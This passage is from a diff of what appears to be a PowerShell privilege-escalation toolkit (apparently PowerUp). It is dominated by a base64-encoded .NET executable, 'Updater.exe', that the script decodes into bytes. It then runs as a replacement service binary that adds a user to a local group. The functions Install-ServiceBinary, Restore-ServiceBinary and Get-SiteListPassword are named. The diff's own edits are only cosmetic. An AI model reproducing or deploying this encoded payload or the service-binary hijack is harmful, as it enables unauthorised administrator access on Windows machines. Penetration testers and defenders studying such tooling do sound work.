AAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAA9jAG0AZAAuAGUAeABlAABwlQEkfW6TS5S/gwmLKZ5MAAiwP19/EdUKOgi3elxWGTTgiQMGEg0EIAEBAgMgAAEFIAEBHQ4DAAABBCABAQ4FIAEBEUkEIAEBCAMgAA4GAAISYQ4OBAABAQgDB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"
[Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary)
}
- process {
+ PROCESS {
if(-not $Command) {
if($UserName.Contains("\")) {
# adding a domain user to the local group, no creation
@@ -985,7 +1977,7 @@ function Install-ServiceBinary {
[CmdletBinding()]
Param(
- [Parameter(ValueFromPipeline=$True, Mandatory = $True)]
+ [Parameter(ValueFromPipeline = $True, Mandatory = $True)]
[String]
$ServiceName,
@@ -1002,7 +1994,7 @@ function Install-ServiceBinary {
$Command
)
- process {
+ PROCESS {
# query WMI for the service
$TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_}
@@ -1080,7 +2072,7 @@ function Restore-ServiceBinary {
[CmdletBinding()]
Param(
- [Parameter(ValueFromPipeline=$True, Mandatory = $True)]
+ [Parameter(ValueFromPipeline = $True, Mandatory = $True)]
[String]
$ServiceName,
@@ -1088,7 +2080,7 @@ function Restore-ServiceBinary {
$BackupPath
)
- process {
+ PROCESS {
# query WMI for the service
$TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_}
@@ -2156,6 +3148,7 @@ function Get-SiteListPassword {
